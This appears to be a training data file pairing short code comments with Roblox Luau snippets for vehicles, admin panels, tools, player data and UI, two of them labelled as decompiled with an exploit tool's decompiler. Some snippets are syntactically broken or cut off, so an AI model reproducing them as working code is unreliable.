Prompt: -- Testing AC FE support

Response:
local event = script.Parent
local car=script.Parent.Parent

event.OnServerEvent:connect(function(player,data)
	if data['ToggleLight'] then
		if car.Body.Light.on.Value==true then
			car.Body.Light.on.Value=false
		else
			car.Body.Light.on.Value=true
		end
	elseif data['ToggleFog'] then
		if car.Body.Fog.on.Value==false then
			car.Body.Fog.on.Value=true
		else
			car.Body.Fog.on.Value=false
		end
	elseif data['ReverseOn'] then
		car.Body.Reverse.on.Value=true
	elseif data['ReverseOff'] then
		car.Body.Reverse.on.Value=false
	elseif data['EnableBrakes'] then
		car.Body.Brakes.on.Value=true
	elseif data['DisableBrakes'] then
		car.Body.Brakes.on.Value=false
	elseif data['ToggleLeftBlink'] then
		if car.Body.Left.on.Value==true then
			car.Body.Left.on.Value=false
		else
			car.Body.Left.on.Value=true
		end
	elseif data['ToggleRightBlink'] then
		if car.Body.Right.on.Value==true then
			car.Body.Right.on.Value=false
		else
			car.Body.Right.on.Value=true
		end
	elseif data['ToggleHazard'] then
		if car.Body.Hazards.on.Value==true then
			car.Body.Hazards.on.Value=false
		else
			car.Body.Hazards.on.Value=true
		end
	end
end)


Prompt: -- Decompiled with the Synapse X Luau decompiler.

Response:
local l__HDAdminMain__1 = _G.HDAdminMain;
local v2 = {
	custom = l__HDAdminMain__1.gui.MainFrame.Pages.Settings.Custom
};
local v3 = l__HDAdminMain__1.settings.ThemeColors or { { "Red", Color3.fromRGB(150, 0, 0) }, { "Orange", Color3.fromRGB(150, 75, 0) }, { "Brown", Color3.fromRGB(120, 80, 30) }, { "Yellow", Color3.fromRGB(130, 120, 0) }, { "Green", Color3.fromRGB(0, 120, 0) }, { "Blue", Color3.fromRGB(0, 100, 150) }, { "Purple", Color3.fromRGB(100, 0, 150) }, { "Pink", Color3.fromRGB(150, 0, 100) }, { "Black", Color3.fromRGB(60, 60, 60) } };
local v4 = 6.1 / #v3;
local v5 = true;
local u1 = v2.custom["AB ThemeSelection"];
local function v6(p1, p2)
	if p1 == nil then
		for v7, v8 in pairs(v3) do
			if v8[1] == l__HDAdminMain__1.pdata.Theme then
				p1 = v8[1];
				p2 = v8[2];
				break;
			end;
		end;
	end;
	if p1 then
		local v9 = {};
		for v10, v11 in pairs(l__HDAdminMain__1.gui:GetDescendants()) do
			if v11:IsA("BoolValue") and v11.Name == "Theme" then
				table.insert(v9, v11.Parent);
			end;
		end;
		local v12, v13, v14 = pairs(v9);
		while true do
			local v15, v16 = v12(v13, v14);
			if not v15 then
				break;
			end;
			local v17 = p2;
			if v16.Theme.Value then
				local v18, v19, v20 = Color3.toHSV(p2);
				v17 = Color3.fromHSV(v18, v19, v20 * 1.35);
			end;
			if v16:IsA("TextLabel") then
				local v21, v22, v23 = Color3.toHSV(p2);
				v16.TextColor3 = Color3.fromHSV(v21, v22, v23 * 2);
			else
				v16.BackgroundColor3 = v17;
			end;
		end;
		for v24, v25 in pairs(u1:GetChildren()) do
			if v25:IsA("TextButton") then
				if v25.Name == p1 then
					v25.BorderSizePixel = 1;
				else
					v25.BorderSizePixel = 0;
				end;
			end;
		end;
	end;
end;
for v26, v27 in pairs(v3) do
	local v28 = v27[1];
	local v29 = v27[2];
	local v30 = u1.ThemeTemplate:Clone();
	v30.Name = v28;
	v30.UIAspectRatioConstraint.AspectRatio = v4;
	v30.BackgroundColor3 = v29;
	local u2 = v5;
	v30.MouseButton1Down:Connect(function()
		if u2 then
			u2 = false;
			l__HDAdminMain__1.signals.ChangeSetting:InvokeServer({ "Theme", v28 });
			v6(v28, v29);
			u2 = true;
		end;
	end);
	v30.Visible = true;
	v30.Parent = u1;
end;
local function v31()
	for v32, v33 in pairs(v2.custom:GetChildren()) do
		local v34 = string.sub(v33.Name, 5);
		if v33:FindFirstChild("SettingValue") then
			v33.SettingName.TextLabel.Text = v34 .. ":";
			local v35 = l__HDAdminMain__1.pdata[v34];
			v33.SettingValue.TextBox.Text = tostring(v35);
			local v36 = nil;
			local v37 = nil;
			if string.sub(v34, 1, 5) == "Error" then
				v36 = "Error";
				v37 = 6;
			elseif string.sub(v34, 1, 6) == "Notice" then
				v36 = "Notice";
				v37 = 7;
			end;
			if v36 then
				local v38 = string.sub(v34, v37);
				if v38 == "SoundId" then
					v35 = "rbxassetid://" .. v35;
				end;
				l__HDAdminMain__1.audio[v36][v38] = v35;
			end;
		end;
	end;
	v6();
end;
for v39, v40 in pairs(v2.custom:GetChildren()) do
	local v41 = string.sub(v40.Name, 5);
	if v40:FindFirstChild("SettingValue") then
		local u3 = true;
		local l__TextBox__4 = v40.SettingValue.TextBox;
		local l__TextLabel__5 = v40.SettingValue.TextLabel;
		v40.SettingValue.TextBox.FocusLost:connect(function(p3)
			if u3 then
				local l__Text__42 = v40.SettingValue.TextBox.Text;
				u3 = false;
				l__TextBox__4.Visible = false;
				l__TextLabel__5.Visible = true;
				l__TextLabel__5.Text = "Loading...";
				local v43 = l__HDAdminMain__1.signals.ChangeSetting:InvokeServer({ v41, l__Text__42 });
				if v43 == "Success" then
					local v44 = nil;
					v31();
					local v45 = "Notice";
					local v46 = string.sub(v41, 1, 5);
					if v46 == "Error" or v46 == "Alert" then
						v45 = v46;
					end;
					if v41 == "Prefix" then
						l__HDAdminMain__1:GetModule("PageCommands"):CreateCommands();
					end;
					v44 = "Successfully changed '" .. v41 .. "' to '" .. l__Text__42 .. "'";
					if v45 == "Alert" then
						l__HDAdminMain__1:GetModule("cf"):CreateNewCommandMenu("settings", { "Settings Alert", v44 }, 8, true);
					else
						l__HDAdminMain__1:GetModule("Notices"):Notice(v45, "Settings", v44);
					end;
				else
					l__TextLabel__5.Text = v43;
					wait(1);
				end;
				l__TextBox__4.Visible = true;
				l__TextLabel__5.Visible = false;
				v40.SettingValue.TextBox.Text = tostring(l__HDAdminMain__1.pdata[v41]);
				u3 = true;
			end;
		end);
	end;
end;
v31();
local v47 = v2.custom["AX Restore"];
local u6 = 0;
local l__Loading__7 = v47.Loading;
v47.MouseButton1Down:Connect(function()
	if u6 < 2 then
		local v48, v49, v50 = Color3.toHSV(v47.BackgroundColor3);
		l__Loading__7.BackgroundColor3 = Color3.fromHSV(v48, v49, v50 * 0.5);
		l__Loading__7.Visible = true;
		if u6 == 0 then
			u6 = 1;
			l__Loading__7.Blocker.Visible = false;
			l__Loading__7.TextLabel.Text = "Confirm?";
			wait(1);
		elseif u6 == 1 then
			u6 = 2;
			l__Loading__7.Blocker.Visible = true;
			l__Loading__7.TextLabel.Text = "Loading...";
			local v51 = l__HDAdminMain__1.signals.RestoreDefaultSettings:InvokeServer();
			if v51 == "Success" then
				v31();
				l__HDAdminMain__1:GetModule("PageCommands"):CreateCommands();
				local v52 = l__HDAdminMain__1:GetModule("cf"):FormatNotice("RestoreDefaultSettings");
				l__HDAdminMain__1:GetModule("Notices"):Notice("Notice", v52[1], v52[2]);
			else
				v47.TextLabel.Text = v51;
			end;
			wait(1);
		end;
		u6 = 0;
		l__Loading__7.Visible = false;
		l__Loading__7.Blocker.Visible = false;
	end;
end);
local v53 = v2.custom["AZ Space"];
v2.custom.CanvasSize = UDim2.new(0, 0, 0, v53.AbsolutePosition.Y - v2.custom["AA Space"].AbsolutePosition.Y + v53.AbsoluteSize.Y * 1);
return {};


Prompt:
-----------------
--| Functions |--
-----------------

Response:
local function MakeReloadRocket()
	local reloadRocket = Instance.new('Part')
	reloadRocket.Name = "Ammo"
	reloadRocket.Transparency = 1
	reloadRocket.FormFactor = Enum.FormFactor.Custom --NOTE: This must be done before changing Size
	reloadRocket.Size = Vector3.new() -- As small as possible

	local mesh = Instance.new('SpecialMesh', reloadRocket)
	mesh.MeshId = ROCKET_MESH_ID
	mesh.Scale = ROCKET_MESH_SCALE
	mesh.TextureId = ToolHandle.Mesh.TextureId

	return reloadRocket
end

local function OnEquipped()
	MyModel = Tool.Parent
	ReloadRocket = MakeReloadRocket()
end

local function OnChanged(property)
	if property == 'Enabled' and Tool.Enabled == false then
		-- Show the next rocket going into the launcher
		StillEquipped = true
		wait(ROCKET_SHOW_TIME)
		if StillEquipped then
			local leftArm = MyModel:FindFirstChild('Left Arm')
			if leftArm then
				local weld = ReloadRocket:FindFirstChild('Weld')
				if not weld then
					weld = Instance.new('Weld')
					weld.Part0 = leftArm
					weld.Part1 = ReloadRocket
					weld.C1 = CFrame.new(Vector3.new(0, 1, 0))
					weld.Parent = ReloadRocket
				end
				ReloadRocket.Parent = MyModel
			end
			wait(ROCKET_HIDE_TIME - ROCKET_SHOW_TIME)
			if StillEquipped and ReloadRocket.Parent == MyModel then
				ReloadRocket.Parent = nil
			end
		end
	end
end

local function OnUnequipped()
	StillEquipped = false
	ReloadRocket:Destroy()
	ReloadRocket = nil
end


Prompt: -- Function to save player data on exit

Response:
function PlayerStatManager:saveOnExit(player)
	local success,err = pcall(function()
		local playersMoney = serverStorage.PlayerMoney:FindFirstChild(player.Name)
		if playersMoney ~= nil then
			--print("--------------playersMoney.Value = "..playersMoney.Value)
			PlayerStatManager:saveStat(player, "Money", playersMoney.Value)
		else
			print("playersMoney is nil")
		end
		local playerUserId = "Player_" .. player.UserId
		savePlayerData(playerUserId)
	end)
	if success == false then
		warn("ERROR---------PlayerStatManager:saveOnExit----------->")
		print(err)
	end
end

function PlayerStatManager:setAllTycoonPurchasesToNil(player)
	local playerUserId = "Player_" .. player.UserId
	local data = sessionData[playerUserId]["TycoonPurchases"]
	for key,value in pairs(data) do
		sessionData[playerUserId]["TycoonPurchases"][key] = nil
	end
end


Prompt: --[[Drivetrain]]

Response:
	Tune.Config			= "FWD"		--"FWD" , "RWD" , "AWD"

	--Differential Settings
	Tune.FDiffSlipThres	= 50		-- 1 - 100%				(Max threshold of applying full lock determined by deviation from avg speed)
	Tune.FDiffLockThres	= 50		-- 0 - 100%				(0 - Bias toward slower wheel, 100 - Bias toward faster wheel)
	Tune.RDiffSlipThres	= 80		-- 1 - 100%
	Tune.RDiffLockThres	= 20		-- 0 - 100%
	Tune.CDiffSlipThres	= 50		-- 1 - 100%				[AWD Only]
	Tune.CDiffLockThres	= 50		-- 0 - 100%				[AWD Only]

	--Traction Control Settings
	Tune.TCSEnabled		= true		-- Implements TCS
	Tune.TCSThreshold	= 20		-- Slip speed allowed before TCS starts working (in SPS)
	Tune.TCSGradient	= 20		-- Slip speed gradient between 0 to max reduction (in SPS)
	Tune.TCSLimit		= 10		-- Minimum amount of torque at max reduction (in percent)


Prompt: --Collision

Response:
character.Head.CollisionGroupId = 1
character.UpperTorso.CollisionGroupId = 1
character.LowerTorso.CollisionGroupId = 1
character.HumanoidRootPart.CanCollide = false
character.HumanoidRootPart.CollisionGroupId = 5
character.RightUpperArm.CollisionGroupId = 1
character.LeftUpperArm.CollisionGroupId = 1
character.RightUpperLeg.CollisionGroupId = 1
character.LeftUpperLeg.CollisionGroupId = 1
character.RightLowerArm.CollisionGroupId = 0
character.LeftLowerArm.CollisionGroupId = 0
character.RightLowerLeg.CollisionGroupId = 0
character.LeftLowerLeg.CollisionGroupId = 0
character.RightHand.CollisionGroupId = 1
character.LeftHand.CollisionGroupId = 1
character.RightFoot.CollisionGroupId = 1
character.LeftFoot.CollisionGroupId = 1

	end
end


Prompt:
--[[ -- Remove the double brackets around this part to rename and unanchor everything --

for i = 1, #c do
	if c[i].className == "Part" then
		c[i].Anchored = false;
		if c[i].Name ~= "Handle" then
			c[i].Name = "H" .. a;
			a = a + 1;
		end
	end
end

]]

Response:
if hand == nil then
	print("Handle not Found! Try again!")
	script.Disabled = true;
	script:Remove()
end

local s = script.WeldScript:Clone();
s.Disabled = false;

for i = 1, #c do
	if c[i].className == "Part" and c[i] ~= hand and c[i].Anchored == false then
		table.insert(parts, c[i])
	end
end

for i = 1, #parts do
	local c0 = hand.CFrame:inverse()
	local c1 = parts[i].CFrame:inverse()
	local val1 = Instance.new("CFrameValue")
	val1.Name = parts[i].Name .. "C0"
	val1.Value = c0
	val1.Parent = s
	local val2 = Instance.new("CFrameValue")
	val2.Name = parts[i].Name .. "C1"
	val2.Value = c1
	val2.Parent = s
	local w = Instance.new("Weld")
	w.Parent = hand
	w.Part0 = hand
	w.Part1 = parts[i]
	w.C0 = c0
	w.C1 = c1
end

s.Parent = tool

script:Remove()


Prompt: --Made by Luckymaxer

Response:
Players = game:GetService("Players")
Debris = game:GetService("Debris")
UserInputService = game:GetService("UserInputService")

Player = Players.LocalPlayer
Mouse = Player:GetMouse()

ServerControl = script:WaitForChild("ServerControl").Value

function InvokeServer(mode, value)
	pcall(function()
		local ServerReturn = ServerControl:InvokeServer(mode, value)
		return ServerReturn
	end)
end

function MouseClick(Down)
	InvokeServer("MouseClick", {Down = Down})
end

function KeyPress(Key, Down)
	InvokeServer("KeyPress", {Key = Key, Down = Down})
end

Mouse.Button1Down:connect(function()
	MouseClick(true)
end)

Mouse.KeyDown:connect(function(Key)
	KeyPress(Key, true)
end)

ServerControl.Changed:connect(function(Property)
	if Property == "Parent" and not ServerControl.Parent then
		Debris:AddItem(script, 1)
	end
end)


Prompt:
-- Renegeration Script for the bot
-- Renegerates about 1% of max hp per second until it reaches max health

Response:
bot = script.Parent
Humanoid = bot:FindFirstChild("Humanoid")

local regen = false

function regenerate()
	if regen then return end
	-- Lock this function until the regeneration to max health is complete by using a boolean toggle
	regen = true
	while Humanoid.Health < Humanoid.MaxHealth do
		local delta = wait(1)
		local health = Humanoid.Health
		if health > 0 and health < Humanoid.MaxHealth then
			-- This delta is for regenerating 1% of max hp per second instead of 1 hp per second
			delta = 0.01 * delta * Humanoid.MaxHealth
			health = health + delta
			Humanoid.Health = math.min(health, Humanoid.MaxHealth)
		end
	end
	-- release the lock, since the health is at max now, and if the character loses health again
	-- it needs to start regenerating
	regen = false
end

if Humanoid then
	-- Better than a while true do loop since it only fires when the health actually changes
	Humanoid.HealthChanged:connect(regenerate)
end


Prompt:
--// All global vars will be wiped/replaced except script
--// All guis are autonamed codeName..gui.Name

Response:
return function(data, env)
	if env then
		setfenv(1, env)
	end
	local player = service.Players.LocalPlayer
	local playergui = player.PlayerGui
	local gui = script.Parent.Parent
	local frame = gui.Frame
	local text = gui.Frame.TextBox
	local scroll = gui.Frame.ScrollingFrame
	local players = gui.Frame.PlayerList
	local entry = gui.Entry
	local BindEvent = gTable.BindEvent

	local opened = false
	local scrolling = false
	local debounce = false
	local settings = client.Remote.Get("Setting",{"SplitKey","ConsoleKeyCode","BatchKey","Prefix"})
	local splitKey = settings.SplitKey
	local consoleKey = settings.ConsoleKeyCode
	local batchKey = settings.BatchKey
	local prefix = settings.Prefix
	local commands = client.Remote.Get('FormattedCommands') or {}

	local tweenInfo = TweenInfo.new(0.20)----service.SafeTweenSize(frame,UDim2.new(1,0,0,40),nil,nil,0.3,nil,function() if scrollOpen then frame.Size = UDim2.new(1,0,0,140) end end)
	local scrollOpenTween = service.TweenService:Create(frame, tweenInfo, {
		Size = UDim2.new(1, 0, 0, 140);
	})

	local scrollCloseTween = service.TweenService:Create(frame, tweenInfo, {
		Size = UDim2.new(1, 0, 0, 40);
	})

	local consoleOpenTween = service.TweenService:Create(frame, tweenInfo, {
		Position = UDim2.new(0, 0, 0.02, 0);
	})

	local consoleCloseTween = service.TweenService:Create(frame, tweenInfo, {
		Position = UDim2.new(0, 0, 0, -200);
	})

	frame.Position = UDim2.new(0,0,0,-200)
	frame.Visible = false
	frame.Size = UDim2.new(1,0,0,40)
	scroll.Visible = false

	if client.Variables.ConsoleOpen then
		if client.Variables.ChatEnabled then
			service.StarterGui:SetCoreGuiEnabled("Chat",true)
		end

		if client.Variables.PlayerListEnabled then
			service.StarterGui:SetCoreGuiEnabled('PlayerList',true)
		end
		if client.UI.Get("Notif") then
			client.UI.Get("Notif",nil,true).Object.LABEL.Visible = true
		end

		local scr = client.UI.Get("Chat",nil,true)
		if scr then scr.Object.Drag.Visible = true end

		local scr = client.UI.Get("PlayerList",nil,true)
		if scr then scr.Object.Drag.Visible = true end

		local scr = client.UI.Get("HintHolder",nil,true)
		if scr then scr.Object.Frame.Visible = true end
	end

	client.Variables.ChatEnabled = service.StarterGui:GetCoreGuiEnabled("Chat")
	client.Variables.PlayerListEnabled = service.StarterGui:GetCoreGuiEnabled('PlayerList')

	local function close()
		if gui:IsDescendantOf(game) and not debounce then
			debounce = true
			scroll:ClearAllChildren()
			scroll.CanvasSize = UDim2.new(0,0,0,0)
			scroll.ScrollingEnabled = false
			frame.Size = UDim2.new(1,0,0,40)
			scroll.Visible = false
			players.Visible = false
			scrollOpen = false

			if client.Variables.ChatEnabled then
				service.StarterGui:SetCoreGuiEnabled("Chat",true)
			end

			if client.Variables.PlayerListEnabled then
				service.StarterGui:SetCoreGuiEnabled('PlayerList',true)
			end

			if client.UI.Get("Notif") then
				client.UI.Get("Notif",nil,true).Object.LABEL.Visible = true
			end

			local scr = client.UI.Get("Chat",nil,true)
			if scr then scr.Object.Drag.Visible = true end

			local scr = client.UI.Get("PlayerList",nil,true)
			if scr then scr.Object.Drag.Visible = true end

			local scr = client.UI.Get("HintHolder",nil,true)
			if scr then scr.Object.Frame.Visible = true end

			consoleCloseTween:Play();
			--service.SafeTweenPos(frame,UDim2.new(0,0,0,-200),'Out','Linear',0.2,true)
			--frame:TweenPosition(UDim2.new(0,0,0,-200),'Out','Linear',0.2,true)
			debounce = false
			opened = false
		end
	end

	local function open()
		if gui:IsDescendantOf(game) and not debounce then
			debounce = true
			client.Variables.ChatEnabled = service.StarterGui:GetCoreGuiEnabled("Chat")
			client.Variables.PlayerListEnabled = service.StarterGui:GetCoreGuiEnabled('PlayerList')

			service.StarterGui:SetCoreGuiEnabled("Chat",false)
			service.StarterGui:SetCoreGuiEnabled('PlayerList',false)

			scroll.ScrollingEnabled = true
			players.ScrollingEnabled = true

			if client.UI.Get("Notif") then
				client.UI.Get("Notif",nil,true).Object.LABEL.Visible = false
			end

			local scr = client.UI.Get("Chat",nil,true)
			if scr then scr.Object.Drag.Visible = false end

			local scr = client.UI.Get("PlayerList",nil,true)
			if scr then scr.Object.Drag.Visible = false end

			local scr = client.UI.Get("HintHolder",nil,true)
			if scr then scr.Object.Frame.Visible = false end

			consoleOpenTween:Play();

			frame.Size = UDim2.new(1,0,0,40)
			scroll.Visible = false
			players.Visible = false
			scrollOpen = false
			text.Text = ''
			frame.Visible = true
			frame.Position = UDim2.new(0,0,0,0)
			text:CaptureFocus()
			text.Text = ''
			wait()
			text.Text = ''
			debounce = false
			opened = true
		end
	end

	local function isInConsoleBounds(pos) -- input.Position
		for i,v in ipairs(playergui:GetGuiObjectsAtPosition(pos.X, pos.Y)) do
			if v == gui or v == gui.Frame then return true end
		end
		return false
	end

	text.FocusLost:Connect(function(enterPressed)
		if enterPressed then
			if text.Text~='' and string.len(text.Text)>1 then
				client.Remote.Send('ProcessCommand',text.Text)
			end
			close()
		elseif not isInConsoleBounds(player:GetMouse()) then
			close()
		end
	end)

	text.Changed:Connect(function(c)
		if c == 'Text' and text.Text ~= '' and open then
			if string.sub(text.Text, string.len(text.Text)) == "	" then
				if players:FindFirstChild("Entry 0") then
					text.Text = `{string.sub(text.Text, 1, (string.len(text.Text) - 1))}{players["Entry 0"].Text} `
				elseif scroll:FindFirstChild("Entry 0") then
					text.Text = string.split(scroll["Entry 0"].Text, "<")[1]
				else
					text.Text = text.Text..prefix
				end
				text.CursorPosition = string.len(text.Text) + 1
				text.Text = string.gsub(text.Text, "	", "")
			end
			scroll:ClearAllChildren()
			players:ClearAllChildren()

			local nText = text.Text
			if string.match(nText,`.*{batchKey}([^']+)`) then
				nText = string.match(nText,`.*{batchKey}([^']+)`)
				nText = string.match(nText,"^%s*(.-)%s*$")
			end

			local pNum = 0
			local pMatch = string.match(nText,`.+{splitKey}(.*)$`)
			for i,v in next,service.Players:GetPlayers() do
				if (pMatch and string.sub(string.lower(tostring(v)),1,#pMatch) == string.lower(pMatch)) or string.match(nText,`{splitKey}$`) then
					local new = entry:Clone()
					new.Text = tostring(v)
					new.Name = `Entry {pNum}`
					new.TextXAlignment = "Right"
					new.Visible = true
					new.Parent = players
					new.Position = UDim2.new(0,0,0,20*pNum)
					new.Activated:Connect(function()
						text.Text = text.Text..tostring(v)
						text:CaptureFocus()
					end)
					pNum = pNum+1
				end
			end

			players.CanvasSize = UDim2.new(0,0,0,pNum*20)

			local num = 0
			for i,v in next,commands do
				if string.sub(string.lower(v),1,#nText) == string.lower(nText) or string.find(string.lower(v), string.match(string.lower(nText),`^(.-){splitKey}`) or string.lower(nText), 1, true) then
					if not scrollOpen then
						scrollOpenTween:Play();
						--frame.Size = UDim2.new(1,0,0,140)
						scroll.Visible = true
						players.Visible = true
						scrollOpen = true
					end
					local b = entry:Clone()
					b.Visible = true
					b.Parent = scroll
					b.Text = v
					b.Name = `Entry {num}`
					b.Position = UDim2.new(0,0,0,20*num)
					b.Activated:Connect(function()
						text.Text = b.Text:gsub("<.->", "")
						text:CaptureFocus()
					end)
					num = num+1
				end
			end
			local temptween = service.TweenService:Create(frame, tweenInfo, {
				Size =  UDim2.new(1, 0, 0, math.clamp((num*20)+40, 40, 140));
			})

			local temptween1 = service.TweenService:Create(scroll, tweenInfo, {
				CanvasSize = UDim2.new(0,0,0,num*20);
			})

			temptween:Play(); 			temptween1:Play()

		elseif c == 'Text' and text.Text == '' and opened then
			scrollCloseTween:Play();
			--service.SafeTweenSize(frame,UDim2.new(1,0,0,40),nil,nil,0.3,nil,function() if scrollOpen then frame.Size = UDim2.new(1,0,0,140) end end)
			scroll.Visible = false
			players.Visible = false
			scrollOpen = false
			scroll:ClearAllChildren()
			scroll.CanvasSize = UDim2.new(0,0,0,0)
		end
	end)

	BindEvent(service.UserInputService.InputBegan, function(InputObject)
		local textbox = service.UserInputService:GetFocusedTextBox()
		if not (textbox) and rawequal(InputObject.UserInputType, Enum.UserInputType.Keyboard) and InputObject.KeyCode.Name == (client.Variables.CustomConsoleKey or consoleKey) then
			if opened then
				close()
			else
				open()
			end
			client.Variables.ConsoleOpen = opened
		end
	end)

	gTable:Ready()
end


Prompt: --Functions

Response:
local function onTouched(hit)
	local Humanoid = hit.Parent:FindFirstChild("Humanoid")
	local player = game.Players:GetPlayerFromCharacter(hit.Parent)

	if Humanoid and Debounce == false then
		local leaderstats = player:FindFirstChild("leaderstats")
		Debounce = true

		if Debounce == true and leaderstats then
			local sound = script.Parent["Game Sound Correct"]

			if not sound.IsPlaying then
				sound:Play()
			leaderstats.Guesses.Value = leaderstats.Guesses.Value + AMOUNT_GIVEN
			wait(2)

				wait(10)
			Debounce = false
		end
	end
end
end


Prompt: -- Decompiled with the Synapse X Luau decompiler.

Response:
local v1 = require(script.Parent:WaitForChild("BaseCharacterController"));
local v2 = setmetatable({}, v1);
v2.__index = v2;
function v2.new()
	local v3 = setmetatable(v1.new(), v2);
	v3.parentUIFrame = nil;
	v3.jumpButton = nil;
	v3.characterAddedConn = nil;
	v3.humanoidStateEnabledChangedConn = nil;
	v3.humanoidJumpPowerConn = nil;
	v3.humanoidParentConn = nil;
	v3.externallyEnabled = false;
	v3.jumpPower = 0;
	v3.jumpStateEnabled = true;
	v3.isJumping = false;
	v3.humanoid = nil;
	return v3;
end;
local l__Players__1 = game:GetService("Players");
function v2.EnableButton(p1, p2)
	if p2 then
		if not p1.jumpButton then
			p1:Create();
		end;
		local v4 = l__Players__1.LocalPlayer.Character and l__Players__1.LocalPlayer.Character:FindFirstChildOfClass("Humanoid");
		if v4 and p1.externallyEnabled and p1.externallyEnabled and v4.JumpPower > 0 then
			p1.jumpButton.Visible = true;
			return;
		end;
	else
		p1.jumpButton.Visible = false;
		p1.isJumping = false;
		p1.jumpButton.ImageRectOffset = Vector2.new(1, 146);
	end;
end;
function v2.UpdateEnabled(p3)
	if p3.jumpPower > 0 and p3.jumpStateEnabled then
		p3:EnableButton(true);
		return;
	end;
	p3:EnableButton(false);
end;
function v2.HumanoidChanged(p4, p5)
	local v5 = l__Players__1.LocalPlayer.Character and l__Players__1.LocalPlayer.Character:FindFirstChildOfClass("Humanoid");
	if v5 then
		if p5 == "JumpPower" then
			p4.jumpPower = v5.JumpPower;
			p4:UpdateEnabled();
			return;
		end;
		if p5 == "Parent" and not v5.Parent then
			p4.humanoidChangeConn:Disconnect();
		end;
	end;
end;
function v2.HumanoidStateEnabledChanged(p6, p7, p8)
	if p7 == Enum.HumanoidStateType.Jumping then
		p6.jumpStateEnabled = p8;
		p6:UpdateEnabled();
	end;
end;
function v2.CharacterAdded(p9, p10)
	if p9.humanoidChangeConn then
		p9.humanoidChangeConn:Disconnect();
		p9.humanoidChangeConn = nil;
	end;
	p9.humanoid = p10:FindFirstChildOfClass("Humanoid");
	while not p9.humanoid do
		p10.ChildAdded:wait();
		p9.humanoid = p10:FindFirstChildOfClass("Humanoid");
	end;
	p9.humanoidJumpPowerConn = p9.humanoid:GetPropertyChangedSignal("JumpPower"):Connect(function()
		p9.jumpPower = p9.humanoid.JumpPower;
		p9:UpdateEnabled();
	end);
	p9.humanoidParentConn = p9.humanoid:GetPropertyChangedSignal("Parent"):Connect(function()
		if not p9.humanoid.Parent then
			p9.humanoidJumpPowerConn:Disconnect();
			p9.humanoidJumpPowerConn = nil;
			p9.humanoidParentConn:Disconnect();
			p9.humanoidParentConn = nil;
		end;
	end);
	p9.humanoidStateEnabledChangedConn = p9.humanoid.StateEnabledChanged:Connect(function(p11, p12)
		p9:HumanoidStateEnabledChanged(p11, p12);
	end);
	p9.jumpPower = p9.humanoid.JumpPower;
	p9.jumpStateEnabled = p9.humanoid:GetStateEnabled(Enum.HumanoidStateType.Jumping);
	p9:UpdateEnabled();
end;
function v2.SetupCharacterAddedFunction(p13)
	p13.characterAddedConn = l__Players__1.LocalPlayer.CharacterAdded:Connect(function(p14)
		p13:CharacterAdded(p14);
	end);
	if l__Players__1.LocalPlayer.Character then
		p13:CharacterAdded(l__Players__1.LocalPlayer.Character);
	end;
end;
function v2.Enable(p15, p16, p17)
	if p17 then
		p15.parentUIFrame = p17;
	end;
	p15.externallyEnabled = p16;
	p15:EnableButton(p16);
end;
local l__GuiService__2 = game:GetService("GuiService");
function v2.Create(p18)
	if not p18.parentUIFrame then
		return;
	end;
	if p18.jumpButton then
		p18.jumpButton:Destroy();
		p18.jumpButton = nil;
	end;
	local v6 = math.min(p18.parentUIFrame.AbsoluteSize.x, p18.parentUIFrame.AbsoluteSize.y) <= 500;
	if v6 then
		local v7 = 70;
	else
		v7 = 120;
	end;
	p18.jumpButton = Instance.new("ImageButton");
	p18.jumpButton.Name = "JumpButton";
	p18.jumpButton.Visible = false;
	p18.jumpButton.BackgroundTransparency = 1;
	p18.jumpButton.Image = "rbxasset://textures/ui/Input/TouchControlsSheetV2.png";
	p18.jumpButton.ImageRectOffset = Vector2.new(1, 146);
	p18.jumpButton.ImageRectSize = Vector2.new(144, 144);
	p18.jumpButton.Size = UDim2.new(0, v7, 0, v7);
	p18.jumpButton.Position = v6 and UDim2.new(1, -(v7 * 1.5 - 10), 1, -v7 - 20) or UDim2.new(1, -(v7 * 1.5 - 10), 1, -v7 * 1.75);
	local u3 = nil;
	p18.jumpButton.InputBegan:connect(function(p19)
		if not (not u3) or p19.UserInputType ~= Enum.UserInputType.Touch or p19.UserInputState ~= Enum.UserInputState.Begin then
			return;
		end;
		u3 = p19;
		p18.jumpButton.ImageRectOffset = Vector2.new(146, 146);
		p18.isJumping = true;
	end);
	p18.jumpButton.InputEnded:connect(function(p20)
		if p20 == u3 then
			u3 = nil;
			p18.isJumping = false;
			p18.jumpButton.ImageRectOffset = Vector2.new(1, 146);
		end;
	end);
	l__GuiService__2.MenuOpened:connect(function()
		if u3 then
			u3 = nil;
			p18.isJumping = false;
			p18.jumpButton.ImageRectOffset = Vector2.new(1, 146);
		end;
	end);
	if not p18.characterAddedConn then
		p18:SetupCharacterAddedFunction();
	end;
	p18.jumpButton.Parent = p18.parentUIFrame;
end;
return v2;


Prompt:
-- ROBLOX deviation END chalk_supportsColor
-- ROBLOX deviation END chalk_chainable

Response:
exports.default = function(result: TestResult, globalConfig: Config_GlobalConfig, projectConfig: Config_ProjectConfig?)
	local testPath = result.testFilePath
	local formattedTestPath = formatTestPath(projectConfig or globalConfig, testPath)
	-- ROBLOX deviation START: no terminal-link package available just use the path
	local fileLink = formattedTestPath
	-- ROBLOX deviation END
	if result.numFailingTests == nil then
		result.numFailingTests = 0
	end
	local status = if result.numFailingTests > 0 or result.testExecError ~= nil then FAIL else PASS
	local testDetail = {}

	if result.perfStats ~= nil and Boolean.toJSBoolean(result.perfStats.slow) then
		local runTime = result.perfStats.runtime / 1000
		table.insert(testDetail, LONG_TEST_COLOR(formatTime(runTime, 0)))
	end

	if result.memoryUsage ~= nil then
		local toMB = function(bytes: number)
			return math.floor(bytes / 1024 / 1024)
		end
		table.insert(testDetail, (" %sMB heap size"):format(tostring(toMB(result.memoryUsage))))
	end

	local projectDisplayName = if projectConfig ~= nil and Boolean.toJSBoolean(projectConfig.displayName)
		then printDisplayName(projectConfig) .. " "
		else ""

	return string.format("%s %s%s %s", status, projectDisplayName, fileLink, table.concat(testDetail, " "))
end

return exports


Prompt: -- Weapons Tab

Response:
local WeaponsFrame = InventoryFrame.Main.Weapons;

local ActionsFrame = WeaponsFrame.Actions;
local EquippedFrame = WeaponsFrame.Equipped;
local ItemsFrame = WeaponsFrame.Items;

local ActionContainer = ActionsFrame.ActionContainer
local CraftingFrame = ActionContainer.Craft;

local EquipButton = ActionsFrame.Equip;
local CraftButton = ActionsFrame.Craft;
local RecycleButton = ActionsFrame.Recycle;
local RecipesFrame = InventoryFrame.Recipes;

local Sizes = {

	[ItemsFrame] = {
		[EquipButton] = {
			Size = ItemsFrame.Size;
			Position = ItemsFrame.Position;
		};
		[CraftButton] = {
